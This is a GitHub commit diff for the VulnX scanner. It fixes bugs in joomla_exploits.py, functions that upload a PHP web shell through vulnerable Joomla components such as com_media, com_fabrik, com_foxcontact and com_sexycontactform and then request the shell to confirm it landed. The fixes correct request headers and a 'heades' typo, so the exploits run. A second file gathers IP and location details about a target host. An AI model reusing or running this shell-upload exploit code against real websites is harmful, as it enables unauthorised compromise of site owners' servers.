Skip to content

Commit c79e4c4

Browse files
committed
Fix: issues anouarbensaad#100 anouarbensaad#85 and deleted domain age
1 parent bcf451d commit c79e4c4

File tree

2 files changed

+18
-24
lines changed

2 files changed

+18
-24
lines changed

modules/exploits/joomla_exploits.py

+6-6
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def com_jce(self):
4545
def com_media(self):
4646
self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
4747
endpoint = self.url+"/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder="
48-
self.headers={"content-type":["form-data"]}
48+
self.headers['Content-Type']="form-data"
4949
fieldname = 'Filedata[]'
5050
shell = open('shell/VulnX.txt','rb')
5151
data = {
@@ -101,7 +101,7 @@ def com_media(self):
101101
#def com_jdownloadsb(self):
102102
# self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
103103
# endpoint = self.url+"/images/jdownloads/screenshots/VulnX.php"
104-
# self.headers={"content-type":["form-data"]}
104+
# self.headers['Content-Type']="form-data"
105105
# files = open('shell/VulnX.zip','rb')
106106
# shell = open('shell/VulnX.gif','rb')
107107
# data = {
@@ -131,7 +131,7 @@ def com_fabrika(self):
131131
self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
132132
endpoint = self.url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
133133

134-
self.headers={"content-type":["form-data"]}
134+
self.headers['Content-Type']="form-data"
135135
fieldname = 'file'
136136
shell = open('shell/VulnX.php','rb')
137137
data = {
@@ -158,7 +158,7 @@ def com_fabrikb(self):
158158
self.headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
159159
endpoint = self.url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
160160

161-
self.headers={"content-type":["form-data"]}
161+
self.headers['Content-Type']="form-data"
162162
fieldname = 'file'
163163
shell = open('shell/VulnX.txt','rb')
164164
data = {
@@ -189,7 +189,7 @@ def com_foxcontact(self):
189189
# 'components/com_foxcontact/lib/uploader.php?cid={}&mid={}&qqfile=/../../_func.php'}
190190
endpoint = self.url+"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
191191

192-
self.headers={"content-type":["form-data"]}
192+
self.headers['Content-Type']="form-data"
193193
fieldname = 'file'
194194
shell = open('shell/VulnX.txt','rb')
195195
data = {
@@ -353,7 +353,7 @@ def com_sexycontactform(self):
353353
fieldname = "image[]"
354354
files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}
355355
data = { fieldname : files }
356-
requests.post(endpoint, data=data, heades=self.headers,verify=False).text
356+
requests.post(endpoint, data=data, headers=self.headers,verify=False).text
357357
shellup = self.url + "/com_sexycontactform/fileupload/files/files/VulnX.php?Vuln=X"
358358
checkShell = requests.get(shellup,headers=self.headers,verify=False).text
359359
statusCheck = re.findall(re.compile(r'Vuln X'),checkShell)

modules/gathering/host_gathering.py

+12-18
Original file line numberDiff line numberDiff line change
@@ -37,24 +37,18 @@ def os_server(self):
3737
print(' {0} Cannot Find the server headers ' .format(bad))
3838

3939
def web_host(self):
40-
urldate = "https://input.payapi.io/v1/api/fraud/domain/age/" + hostd(self.url)
41-
getinfo = requests.get(urldate, self.headers,verify=False).text
42-
regex_date = r'Date: (.+?)-(.+?)'
43-
regex_date = re.compile(regex_date)
44-
matches = re.search(regex_date, getinfo)
4540
try:
46-
if matches:
47-
print(' {0} Domain Created on : {1}'.format(good, matches.group(1)))
48-
ip = socket.gethostbyname(hostd(self.url))
49-
print(' {0} CloudFlare IP : {1}'.format(good, ip))
50-
ipinfo = "http://ipinfo.io/" + ip + "/json"
51-
gather = requests.get(ipinfo, self.headers).text
52-
53-
self.match_printer('Country',self.match_info(r'country\": \"(.+?)\"',gather))
54-
self.match_printer('Region',self.match_info(r'region\": \"(.+?)\"',gather))
55-
self.match_printer('Timezone',self.match_info(r'timezone\": \"(.+?)\"',gather))
56-
self.match_printer('Postal',self.match_info(r'postal\": \"(.+?)\"',gather))
57-
self.match_printer('Org',self.match_info(r'org\": \"(.+?)\"',gather))
58-
self.match_printer('Location',self.match_info(r'loc\": \"(.+?)\"',gather))
41+
ip = socket.gethostbyname(hostd(self.url))
42+
print(' {0} CloudFlare IP : {1}'.format(good, ip))
43+
ipinfo = "http://ipinfo.io/" + ip + "/json"
44+
gather = requests.get(ipinfo, self.headers).text
45+
46+
self.match_printer('Hostname',self.match_info(r'hostname\": \"(.+?)\"',gather))
47+
self.match_printer('City',self.match_info(r'city\": \"(.+?)\"',gather))
48+
self.match_printer('Region',self.match_info(r'region\": \"(.+?)\"',gather))
49+
self.match_printer('Country',self.match_info(r'country\": \"(.+?)\"',gather))
50+
self.match_printer('Timezone',self.match_info(r'timezone\": \"(.+?)\"',gather))
51+
self.match_printer('Org',self.match_info(r'org\": \"(.+?)\"',gather))
52+
self.match_printer('Location',self.match_info(r'loc\": \"(.+?)\"',gather))
5953
except Exception as err:
6054
print(' {0} Parse Error : {1}' .format(bad,err))

0 commit comments

Comments
 (0)